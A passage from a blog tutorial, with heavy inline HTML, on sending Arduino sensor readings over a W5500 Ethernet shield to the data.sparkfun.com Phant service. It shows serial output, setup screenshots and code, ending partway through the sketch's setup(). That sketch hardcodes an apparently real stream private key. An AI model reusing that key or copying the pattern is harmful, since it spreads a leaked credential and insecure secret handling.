Content-Type: text/plain
X-Rate-Limit-Limit: 300
X-Rate-Limit-Remaining: 298
X-Rate-Limit-Reset: 1441353380.898
Date: Fri, 04 Sep 20
Received 299 chars from server:A
15 07:46:03 GMT
Transfer-Encoding: chunked
Set-Cookie: SERVERID=phantworker2; path=/
Cache-control: private
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> initializing Ethernet
- Ethernet PHY Link-Done
IP=<span class="hljs-number" style="color: rgb(42, 161, 152);">192.168</span>.11.224
MASK=<span class="hljs-number" style="color: rgb(42, 161, 152);">255.255</span>.255.0
GW=<span class="hljs-number" style="color: rgb(42, 161, 152);">192.168</span>.11.1
Temperature in Celcius: <span class="hljs-number" style="color: rgb(42, 161, 152);">27.00</span>Humidity is <span class="hljs-number" style="color: rgb(42, 161, 152);">55.00</span>
Received <span class="hljs-number" style="color: rgb(42, 161, 152);">299</span> chars from server:
HTTP/<span class="hljs-number" style="color: rgb(42, 161, 152);">1.1</span> <span class="hljs-number" style="color: rgb(42, 161, 152);">200</span> OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,DELETE
Access-Control-Allow-Headers: X-Requested-With, Phant-Private-Key
Content-Type: text/plain
X-Rate-Limit-Limit: <span class="hljs-number" style="color: rgb(42, 161, 152);">300</span>
X-Rate-Limit-Remaining: <span class="hljs-number" style="color: rgb(42, 161, 152);">298</span>
X-Rate-Limit-Reset: <span class="hljs-number" style="color: rgb(42, 161, 152);">1441353380.898</span>
Date: Fri, <span class="hljs-number" style="color: rgb(42, 161, 152);">04</span> Sep <span class="hljs-number" style="color: rgb(42, 161, 152);">20</span>
Received <span class="hljs-number" style="color: rgb(42, 161, 152);">299</span> chars from server:
<span class="hljs-number" style="color: rgb(42, 161, 152);">15</span> <span class="hljs-number" style="color: rgb(42, 161, 152);">07</span>:<span class="hljs-number" style="color: rgb(42, 161, 152);">46</span>:<span class="hljs-number" style="color: rgb(42, 161, 152);">03</span> GMT
Transfer-Encoding: chunked
Set-Cookie: SERVERID=phantworker2; path=/
Cache-control: <span class="hljs-keyword" style="color: rgb(133, 153, 0);">private</span>
</code></pre>
</li></ol><h4 id="[https://data.sparkfun.com/office_monitoring](https://data.sparkfun.com/office_monitoring)" style="clear: both;font-size: 1.4em; font-weight: bold; margin: 0.99em 0px 0.66em;"><a name="[https://data.sparkfun.com/office_monitoring](https://data.sparkfun.com/office_monitoring)" href="#[https://data.sparkfun.com/office_monitoring](https://data.sparkfun.com/office_monitoring)" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="https://data.sparkfun.com/office_monitoring" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="https://data.sparkfun.com/office_monitoring" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">https://data.sparkfun.com/office_monitoring</a></h4><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/21624814755/in/dateposted-public/" title="2015-09-04_16-39-51" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/607/21624814755_51ebc3117d_b.jpg" width="1003" height="820" alt="2015-09-04_16-39-51" style="max-width: 100%;"></a></p><h4 id="analog.io:-import-stream-from-data.sparkfun.com/your_stream" style="clear: both;font-size: 1.4em; font-weight: bold; margin: 0.99em 0px 0.66em;"><a name="analog.io:-import-stream-from-data.sparkfun.com/your_stream" href="#analog.io:-import-stream-from-data.sparkfun.com/your_stream" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>analog.io: import stream from data.sparkfun.com/your_stream</h4><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">How to Import Stream</p>
<ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Click ‘+Import Stream’ button on menu<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/21001931494/in/dateposted-public/" title="2015-09-04_16-38-19" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm6.staticflickr.com/5774/21001931494_415df41aa2.jpg" width="473" height="43" alt="2015-09-04_16-38-19" style="max-width: 100%;"></a></p>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Select ‘Sparkfun’ on Host drop box and input Public key of data.sparkfun.com<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/21613335892/in/dateposted-public/" title="2015-09-04_16-38-36" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/724/21613335892_7ebebca07f_z.jpg" width="608" height="324" alt="2015-09-04_16-38-36" style="max-width: 100%;"></a></p>
</li><li style="display: list-item; line-height: 1.4em;">Confirm your Stream<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/21436721330/in/dateposted-public/" title="2015-09-04_16-36-04" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/582/21436721330_3bd1c67955_b.jpg" width="1024" height="555" alt="2015-09-04_16-36-04" style="max-width: 100%;"></a></li></ol>
</li></ul></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-47934917581772070162015-08-26T16:44:00.000-07:002015-08-26T16:44:04.713-07:00How to push data to data.sparkfun.com for Internet of Things<div style="font-family: 'Lucida Grande', 'Segoe UI', 'Apple SD Gothic Neo', 'Malgun Gothic', 'Lucida Sans Unicode', Helvetica, Arial, sans-serif; font-size: 0.9em; overflow-x: hidden; overflow-y: auto; margin: 0px !important; padding: 5px 20px 26px !important; background-color: rgb(255, 255, 255);font-family: 'Hiragino Sans GB', 'Microsoft YaHei', STHeiti, SimSun, 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', 'Segoe UI', AppleSDGothicNeo-Medium, 'Malgun Gothic', Verdana, Tahoma, sans-serif; padding: 20px;padding: 20px; color: rgb(34, 34, 34); font-size: 15px; font-family: 'Roboto Condensed', Tauri, 'Hiragino Sans GB', 'Microsoft YaHei', STHeiti, SimSun, 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', 'Segoe UI', AppleSDGothicNeo-Medium, 'Malgun Gothic', Verdana, Tahoma, sans-serif; line-height: 1.6; -webkit-font-smoothing: antialiased; background: rgb(255, 255, 255);"><h2 id="how-to-push-data-to-data.sparkfun.com-for-internet-of-things" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;margin-top: 0px;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230);"><a name="how-to-push-data-to-data.sparkfun.com-for-internet-of-things" href="#how-to-push-data-to-data.sparkfun.com-for-internet-of-things" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>How to push data to data.sparkfun.com for Internet of Things</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;">This post shows how to connect Arduino platform to data.sparkfun.com for Internet of Things.</p><ul>
<li style="display: list-item; line-height: 1.4em;">Scope of post<ul>
<li style="display: list-item; line-height: 1.4em;">Internet Connectivity : W5500 Ethernet Shield</li><li style="display: list-item; line-height: 1.4em;">Cloud Service : data.sparkfun.com</li><li style="display: list-item; line-height: 1.4em;">Arduino IDE 1.7.6 (arduino.org); surpports Ethernet libraries for W5500</li><li style="display: list-item; line-height: 1.4em;">HTTP Query</li></ul>
</li></ul><h3 id="data.sparkfun.com" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="data.sparkfun.com" href="#data.sparkfun.com" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>data.sparkfun.com</h3><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;"><a href="https://learn.sparkfun.com/tutorials/pushing-data-to-datasparkfuncom/what-is-phant" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">What is Phant?</a></p>
<ul>
<li style="display: list-item; line-height: 1.4em;">Phant is a open source cloud server platform by powered Sparkfun Electronics. </li><li style="display: list-item; line-height: 1.4em;">Sparkfun created data.spartfun.com ,which is a free cloud service running phant. -</li><li style="display: list-item; line-height: 1.4em;">To collect data from your device to cloud service, you just need to register a new stream. </li><li style="display: list-item; line-height: 1.4em;">After register, you get two keys for accessing the data; one is q private key is required to update that stream, other is a public key grants access to any other stream on the service.</li><li style="display: list-item; line-height: 1.4em;">All communication with Phant is carried out over HTTP. So, your device should be acted as HTTP Client.</li><li style="display: list-item; line-height: 1.4em;"><pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;"><code data-origin="<pre><code>http://data.sparkfun.com/input/[publicKey]?private_key=[privateKey]&amp;[field1]=[value]&amp;[field2]=[value]
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;">http://data.sparkfun.com/input/[publicKey]?private_key=[privateKey]&[field1]=[value]&[field2]=[value]
</code></pre></li></ul>
</li></ul><ul>
<li style="display: list-item; line-height: 1.4em;">Phant : <a href="http://phant.io/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">Phant.io</a><blockquote style="margin: 1em 20px;border-left-width: 4px; border-left-style: solid; border-left-color: rgb(230, 230, 230); padding: 0px 15px; color: rgb(119, 119, 119);">
<p style="margin: 1em 0px; word-wrap: break-word;margin-top: 0px;margin-bottom: 0px;">Phant is a modular node.js based data logging tool for collecting data from the Internet of Things. It is the open source software that powers data.sparkfun.com, and is actively maintained by SparkFun Electronics. Phant is short for elephant. Elephants are known for their remarkable recall ability, so it seemed appropriate to name a data logging project in honor of an animal that never forgets.</p>
</blockquote>
</li></ul><h3 id="prepare-materials" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="prepare-materials" href="#prepare-materials" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Prepare materials</h3><ul>
<li style="display: list-item; line-height: 1.4em;">Hardware<br style="clear: both;"><a data-flickr-embed="true" data-header="false" data-footer="false" data-context="false" href="https://www.flickr.com/photos/129289794@N06/20723804369/in/dateposted-public/" title="hardware" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/627/20723804369_659088a58a.jpg" width="500" height="292" alt="hardware" style="max-width: 100%;"></a><ul>
<li style="display: list-item; line-height: 1.4em;">Arudino Board : Arduino due ,<a href="http://download.arduino.org/products/DUE/Arduino_DUE-V02e-SCH.pdf" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">[SCH]</a></li><li style="display: list-item; line-height: 1.4em;">Ethernet Shield : <a href="http://wizwiki.net/wiki/doku.php?id=osh:w5500_ethernet_shield:start" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">W5500 Ethernet Shield</a>,<a href="http://wizwiki.net/wiki/lib/exe/fetch.php?media=osh:w5500_ethernet_shield:w5500_ethernet_shield_v1.01.pdf" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">[SCH]</a></li><li style="display: list-item; line-height: 1.4em;">Sensors (ywrobot easy module shield v1): LM35(Temp.), PhotoCell(light)<br style="clear: both;"><a data-flickr-embed="true" data-header="false" data-footer="false" data-context="false" href="https://www.flickr.com/photos/129289794@N06/20287976404/in/dateposted-public/" title="ywrobot" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm6.staticflickr.com/5627/20287976404_ee6ce9344b.jpg" width="500" height="325" alt="ywrobot" style="max-width: 100%;"></a></li></ul>
</li></ul><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Tool : Arduino IDE </p>
<ul>
<li style="display: list-item; line-height: 1.4em;">Arduino IDE@arduion.org<br style="clear: both;"><a href="http://www.arduino.org/downloads" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">Arduino 1.7.6 (</a><a href="http://www.arduino.org/downloads" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">http://www.arduino.org/downloads</a>) of arduino.org supports Ethernet2 libraries for Ethernet shield based on W5500, while Ethernet libraries supports Ethernet shield based on W5100.<br style="clear: both;"><a data-flickr-embed="true" data-header="false" data-footer="false" data-context="false" href="https://www.flickr.com/photos/129289794@N06/20289545143/in/dateposted-public/" title="E_2015-08-26_09-36-44" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm6.staticflickr.com/5693/20289545143_b079aeae04.jpg" width="438" height="500" alt="E_2015-08-26_09-36-44" style="max-width: 100%;"></a></li><li style="display: list-item; line-height: 1.4em;">Arduino IDE@arduion.cc<br style="clear: both;">To use W5500 Ethernet Shield on Arduion IDE of Arduino.cc, you should be install the <a href="http://embeddist.blogspot.kr/2015/05/wiz-ethernet-library-for-arduino-ide-164.html" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">WIZnet Ethernet Library</a>.</li></ul>
</li></ul><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Registration on data.sparkfun.com<br style="clear: both;">To create a data stream, head over to data.sparkfun.com, and click “CREATE”.</p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Create a Data Stream</p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">New Stream example<br style="clear: both;"><a data-flickr-embed="true" data-header="false" data-footer="false" data-context="false" href="https://www.flickr.com/photos/129289794@N06/20884291336/in/dateposted-public/" title="E_New Stream" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm6.staticflickr.com/5619/20884291336_6ce6e0c8f7.jpg" width="368" height="500" alt="E_New Stream" style="max-width: 100%;"></a></p>
<ul>
<li style="display: list-item; line-height: 1.4em;">Fields - This comma-separated list of words defines data stream to post a list of unique values.</li><li style="display: list-item; line-height: 1.4em;">Stream Alias - This testbox defines domain name for you Data Stream</li></ul>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Create Data Steam: After creating a data Stream, you will confirm URL, Keys for accessing for your data stream.<br style="clear: both;"><a data-flickr-embed="true" data-header="false" data-footer="false" data-context="false" href="https://www.flickr.com/photos/129289794@N06/20917878131/in/dateposted-public/" title="E_New Stream1" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/665/20917878131_654ba3fb09.jpg" width="349" height="500" alt="E_New Stream1" style="max-width: 100%;"></a></p>
</li></ul>
</li></ul>
</li></ul><h3 id="software" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="software" href="#software" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Software</h3><h4 id="codes-flow" style="clear: both;font-size: 1.4em; font-weight: bold; margin: 0.99em 0px 0.66em;"><a name="codes-flow" href="#codes-flow" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Codes flow</h4><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Configuration Arduino’s I/O pins</p>
<ul>
<li style="display: list-item; line-height: 1.4em;">D3 - Active-low momentary button (pulled high internally)</li><li style="display: list-item; line-height: 1.4em;">A1 - Photoresistor (which is combined with a 10k resistor to form a voltage divider output to the Arduino).</li><li style="display: list-item; line-height: 1.4em;">A2 - Temporature Sensor (LM35)</li></ul>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Configuration Phat Stuff</p>
<ul>
<li style="display: list-item; line-height: 1.4em;">Insert your publicKey</li><li style="display: list-item; line-height: 1.4em;">Insert your privateKey</li><li style="display: list-item; line-height: 1.4em;">Generat Fileds; ‘Files name shoud be same “field name” in Create Stream form’</li></ul>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">setup()</p>
<ul>
<li style="display: list-item; line-height: 1.4em;">Call Serial.begin(115200);</li><li style="display: list-item; line-height: 1.4em;">Setting Input pins</li><li style="display: list-item; line-height: 1.4em;">Call setupEthernet(): do DHCP Client and writing MAC Addrerss</li></ul>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">loop()</p>
<ul>
<li style="display: list-item; line-height: 1.4em;">If the trigger pin (3) goes low, send the data.<ul>
<li style="display: list-item; line-height: 1.4em;">Get sensing datas by using analogread()</li><li style="display: list-item; line-height: 1.4em;">Call postData<ul>
<li style="display: list-item; line-height: 1.4em;">Open socket as TCP Client</li><li style="display: list-item; line-height: 1.4em;">Try to connet TCP server (data.sparkfun.com); if needs, do DNS clinet for getting IP address of server</li><li style="display: list-item; line-height: 1.4em;">Make query string based on Phant frame</li><li style="display: list-item; line-height: 1.4em;">Send query</li><li style="display: list-item; line-height: 1.4em;">Check for a response from the server, and route it out the serial port.</li></ul>
</li></ul>
</li></ul>
</li></ul><h4 id="arduino's-i/o-pins:" style="clear: both;font-size: 1.4em; font-weight: bold; margin: 0.99em 0px 0.66em;"><a name="arduino's-i/o-pins:" href="#arduino's-i/o-pins:" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Arduino’s I/O pins:</h4><pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: rgb(51, 51, 51); background: rgb(248, 248, 248);"><code class="cpp" data-origin="<pre><code class="cpp">const int triggerPin = 3;
const int lightPin = A1;
const int tempPin = A2;
void setup()
{
...
// Setup Input Pins:
pinMode(triggerPin, INPUT_PULLUP);
pinMode(lightPin, INPUT_PULLUP);
pinMode(tempPin, INPUT_PULLUP);
...
}
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"><span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> triggerPin = <span class="hljs-number" style="color: rgb(0, 128, 128);">3</span>;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> lightPin = A1;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> tempPin = A2;
<span class="hljs-function"><span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">void</span> <span class="hljs-title" style="color: rgb(153, 0, 0); font-weight: bold;">setup</span><span class="hljs-params">()</span>
</span>{
...
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Setup Input Pins:</span>
pinMode(triggerPin, INPUT_PULLUP);
pinMode(lightPin, INPUT_PULLUP);
pinMode(tempPin, INPUT_PULLUP);
...
}
</code></pre><h4 id="phant-stuff" style="clear: both;font-size: 1.4em; font-weight: bold; margin: 0.99em 0px 0.66em;"><a name="phant-stuff" href="#phant-stuff" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Phant Stuff</h4><pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: rgb(51, 51, 51); background: rgb(248, 248, 248);"><code class="cpp" data-origin="<pre><code class="cpp">const String publicKey = "insert_your_publicKey";
const String privateKey = "insert_your_privateKey";
const byte NUM_FIELDS = 2;
const String fieldNames[NUM_FIELDS] = {"lux", "temp"}; // Fileds shoud be same "field names" in Create Stream.
int fieldData[NUM_FIELDS];
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"><span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> String publicKey = <span class="hljs-string" style="color: rgb(221, 17, 68);">"insert_your_publicKey"</span>;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> String privateKey = <span class="hljs-string" style="color: rgb(221, 17, 68);">"insert_your_privateKey"</span>;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> byte NUM_FIELDS = <span class="hljs-number" style="color: rgb(0, 128, 128);">2</span>;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> String fieldNames[NUM_FIELDS] = {<span class="hljs-string" style="color: rgb(221, 17, 68);">"lux"</span>, <span class="hljs-string" style="color: rgb(221, 17, 68);">"temp"</span>}; <span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Fileds shoud be same "field names" in Create Stream.</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> fieldData[NUM_FIELDS];
</code></pre><h4 id="make-query-string-over-http" style="clear: both;font-size: 1.4em; font-weight: bold; margin: 0.99em 0px 0.66em;"><a name="make-query-string-over-http" href="#make-query-string-over-http" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Make Query string over HTTP</h4><ul>
<li style="display: list-item; line-height: 1.4em;">Format<pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;"><code data-origin="<pre><code> http://data.sparkfun.com/input/[publicKey]?private_key=[privateKey]&amp;lux=[value]&amp;temp=[value]
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> http://data.sparkfun.com/input/[publicKey]?private_key=[privateKey]&lux=[value]&temp=[value]
</code></pre></li></ul><pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: rgb(51, 51, 51); background: rgb(248, 248, 248);"><code class="cpp" data-origin="<pre><code class="cpp">client.print("GET /input/");
client.print(publicKey);
client.print("?private_key=");
client.print(privateKey);
for (int i=0; i&lt;NUM_FIELDS; i++)
{
client.print("&amp;");
client.print(fieldNames[i]);
client.print("=");
client.print(fieldData[i]);
}
client.println(" HTTP/1.1");
client.print("Host: ");
client.println(server);
client.println("Connection: close");
client.println();
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;">client.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"GET /input/"</span>);
client.print(publicKey);
client.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"?private_key="</span>);
client.print(privateKey);
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">for</span> (<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> i=<span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>; i<NUM_FIELDS; i++)
{
client.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"&"</span>);
client.print(fieldNames[i]);
client.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"="</span>);
client.print(fieldData[i]);
}
client.println(<span class="hljs-string" style="color: rgb(221, 17, 68);">" HTTP/1.1"</span>);
client.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Host: "</span>);
client.println(server);
client.println(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Connection: close"</span>);
client.println();
</code></pre><h3 id="phant_ethernet.ino" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="phant_ethernet.ino" href="#phant_ethernet.ino" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Phant_Ethernet.ino</h3><pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: rgb(51, 51, 51); background: rgb(248, 248, 248);"><code class="cpp" data-origin="<pre><code class="cpp">/*****************************************************************
Phant_Ethernet.ino
Post data to SparkFun's data stream server system (phant) using
an Arduino and an Ethernet Shield.
Jim Lindblom @ SparkFun Electronics
Original Creation Date: July 3, 2014
Roy Kim(Soohwan Kim) embeddist@gmail.com
Modified DateL August 26, 2015
S
This sketch uses an Arduino Uno to POST sensor readings to
SparkFun's data logging streams (http://data.sparkfun.com). A post
will be initiated whenever pin 3 is connected to ground.
Before uploading this sketch, there are a number of global vars
that need adjusting:
1. Ethernet Stuff: Fill in your desired MAC and a static IP, even
if you're planning on having DCHP fill your IP in for you.
The static IP is only used as a fallback, if DHCP doesn't work.
2. Phant Stuff: Fill in your data stream's public, private, and
data keys before uploading!
Hardware Hookup:
* These components are connected to the Arduino's I/O pins:
&lt;Original&gt;
* D3 - Active-low momentary button (pulled high internally)
* A0 - Photoresistor (which is combined with a 10k resistor
to form a voltage divider output to the Arduino).
* D5 - SPDT switch to select either 5V or 0V to this pin.
&lt;Modified&gt;
* D3 - Active-low momentary button (pulled high internally)
* A1 - Photoresistor (which is combined with a 10k resistor
to form a voltage divider output to the Arduino).
* A2 - Temporature Sensor (LM35)
* A CC3000 Shield sitting comfortable on top of your Arduino.
Development environment specifics:
&lt;Original&gt;
IDE: Arduino 1.0.5
Hardware Platform: RedBoard &amp; PoEthernet Shield
&lt;Modified&gt;
IDE: Arduino 1.7.6
Hardware Platform: Arduino DUE &amp; W5500 Ethernet Shield
This code is beerware; if you see me (or any other SparkFun
employee) at the local, and you've found our code helpful, please
buy us a round!
Much of this code is largely based on David Mellis' WebClient
example in the Ethernet library.
Distributed as-is; no warranty is given.
*****************************************************************/
#include &lt;SPI.h&gt; // Required to use Ethernet
//#include &lt;Ethernet.h&gt; // The Ethernet library includes the client for W5100
#include &lt;Ethernet2.h&gt; // The Ethernet library includes the client for W5500
//#include &lt;Progmem.h&gt; // Allows us to sacrifice flash for DRAM //@Modified: Don't use
///////////////////////
// Ethernet Settings //
///////////////////////
// Enter a MAC address for your controller below.
byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
// if you don't want to use DNS (and reduce your sketch size)
// use the numeric IP instead of the name for the server:
//IPAddress server(54,86,132,254); // numeric IP for data.sparkfun.com
char server[] = "data.sparkfun.com"; // name address for data.sparkFun (using DNS)
// Set the static IP address to use if the DHCP fails to assign
IPAddress ip(192,168,0,177);
// Initialize the Ethernet client library
// with the IP address and port of the server
// that you want to connect to (port 80 is default for HTTP):
EthernetClient client;
/////////////////
// Phant Stuff //
/////////////////
const String publicKey = "6JZbNolApzF4om2l9yYK";
const String privateKey = "Ww0vPW1yrkUNDqWPV9jE";
const byte NUM_FIELDS = 2;
const String fieldNames[NUM_FIELDS] = {"lux", "temp"};
int fieldData[NUM_FIELDS];
//////////////////////
// Input Pins, Misc //
//////////////////////
const int triggerPin = 3;
const int lightPin = A1;
const int tempPin = A2;
float tempC;
int reading;
//String name = "Ether-anon";
String name = "Roy";
boolean newName = true;
void setup()
{
Serial.begin(115200);
// Setup Input Pins:
pinMode(triggerPin, INPUT_PULLUP);
pinMode(lightPin, INPUT_PULLUP);
pinMode(tempPin, INPUT_PULLUP);
